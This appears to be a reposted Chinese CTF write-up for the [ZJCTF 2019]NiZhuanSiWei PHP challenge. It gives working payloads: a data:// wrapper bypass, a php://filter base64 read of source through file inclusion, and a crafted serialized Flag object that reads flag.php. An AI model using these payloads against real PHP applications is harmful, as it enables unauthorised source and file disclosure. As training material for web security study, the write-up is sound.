当前位置: 首页 > news >正文

[ZJCTF 2019]NiZhuanSiWei1

打开题目

php代码审计

.从代码中可以看出要求,以get方式传递text,file,password三个参数。

3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  传入text,而且file_get_contents($text,'r')之后内容为“welcome to the zjctf”

  利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf

  file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入

传入file参数,file如果不包含flag就会被包含。根据提示,我们需要包含useless.php

在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码

payload:file=php://filter/convert.base64-encode/resource=useless.php

base64解码得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码审计传递password参数

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

得到结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

联合起来,payload为:?text=data://plain/text,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

根据提示查看源码

得到flag

http://www.lryc.cn/news/412596.html

相关文章:

  • 【网络安全】副业兼职日入12k,网安人不接私活就太可惜了!
  • [STM32]HAL库实现自己的BootLoader-BootLoader与OTA-STM32CUBEMX
  • 鸿萌数据备份服务:中小型企业如何策划及实施云备份方案
  • x264 编码过程中延迟逻辑分析
  • 前端框架 element-plus 发布 2.7.8
  • 2024.8.1(前端服务器的配置以及tomcat环境的配置)
  • 使用 宝塔面板 部署 语料库php网站
  • springboot农产品报价系统-计算机毕业设计源码37300
  • 食源送系统项目的测试
  • JS解构赋值
  • 多多OJ评测系统 前端项目环境初始化 安装Vue脚手架 引入Arco Design组件
  • OceanBase 配置项系统变量实现及应用详解(4):新增系统变量
  • `CAUTION: request is not finished yet!`
  • 科研绘图系列:R语言GWAS曼哈顿图(Manhattan plot)
  • DjangoRF-11-创建testcases子应用--任务模块
  • 服务器数据恢复—SAN环境下LUN被重复映射导致写操作不互斥的数据恢复案例
  • Linux系统安全加固:从防火墙到SELinux策略
  • 排序算法:归并排序,golang实现
  • CSS 的工作原理
  • 买完就后悔?只需几步教你 Apple 怎么申请退款
  • 【保卫战】休闲小游戏 链游
  • 如何构建自己的交易机器人开发环境
  • 解决WordPress文章引用的图片不显示问题
  • 商业银行国际结算规模创新高,合合信息AI助力金融行业智能处理多版式文档
  • 数字芯片设计验证经验分享:将ASIC IP核移植到FPGA上——更新概念并推动改变以完成充满挑战的任务!
  • 【Linux】Linux下的日志(日常级)
  • 手把手教你如何在Linux上轻松安装Python,告别编程入门难题
  • XSS-labs靶场(超详解)1-20关——附原码
  • 【网络安全】LockBit病毒入侵揭秘:如何防范与应对
  • 《开源大模型食用指南》适合中国宝宝的部署教程,基于Linux环境快速部署开源大模型